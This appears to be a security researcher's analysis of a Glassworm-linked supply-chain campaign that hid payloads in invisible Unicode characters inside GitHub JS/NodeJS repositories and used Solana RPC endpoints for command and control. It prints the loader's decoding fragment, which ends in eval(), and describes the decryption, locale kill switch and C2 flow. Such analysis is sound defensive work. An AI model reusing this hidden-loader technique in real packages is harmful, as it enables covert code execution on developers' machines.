For the complete documentation index, see llms.txt. This page is also available as Markdown.
Now You See Me, Now You Don't - Analyzing an invisible Blockchain C2 implant
Article originally co-authored with Klesti Fetiu on Exaforce Substack: https://substack.com/home/post/p-190900133
On March 13, 2026, Aikido released a new article about malware, which they claim to be part of Glassworm, compromising GitHub repositories offering JS/NodeJS packages with a Unicode encoded payload, attempting to hide the real payload in plain sight. This seems to have been discussed a couple of days ago as well on Reddit.
Aside from the payload being hidden using Unicode characters, the C2 communication is also interesting. It uses several Solana endpoints, connecting to them and retrieving the payload, which later gets executed on the machines.
Looking into the search string Aikido offers on their article, we notice 104 repositories compromised with the malware.
Can’t see me, can’t see me
The loader itself is interesting. It checks for UTF-8 (characters 0xFE00 to 0xFE0F) or UTF-16 (0xE0100 to 0xE01EF) characters, and when it finds them, it decodes them and adds them as part of the payload, which is then executed through an eval(). It seems to achieve the conversion of the characters by reducing either 0xFE00 or 0xE0100+16 from the encoded character.
Hear my story on how I came across this research on Its SOC Easy! Podcast episode:
uniw = w.codePointAt(0) // Unicode value of char 0 of input
if (uniw>=0xFE00 && uniw<=0xFE0F){
uniw = uniw-0xFE00
}else if (uniw >= 0xE0100 && w <= 0xE01EF){
uniw = uniw-0xE0100+16
}else {
uniw = null
}
eval(Buffer.from(s()).toString('utf-8'))
The payload itself seems to be just an empty string included inside the function s(”``”), but upon copying it, we see a large bulk of data being pasted.
A simple Python script to convert the characters to a string gives us a large AES-256 encrypted payload, alongside the key and the encryption function.
Upon decrypting the code, we get the NodeJS code of the actual malware
Solana See2See
The stager uses an interesting approach to maintain a connection by connecting to Solana RPC endpoints and retrieving the payload from there.
Before starting the attack, though, the attacker checks if the system language and timezone are Russian. If the system contains an indicator that is Russian, the malware stops. If no Russian language or timezone gets detected, then it proceeds with its tasks.
Then, the attacker checks if the file <homefolder>/info.json exists, and if not, creates it. They seem to be using this file as a logger for the date and time the commands come from the Solana RPC responses and are parsed based on the OS type.
It goes through several Solana RPC endpoints, such as ones managed by the Solana Framework itself, the ones managed by Tatum, BlockEden, PublicNode, etc.
Each of these hosts will contain a link, which by itself will contain another link, which, when passed on function scyzzvvy, will request the payload from those endpoints.
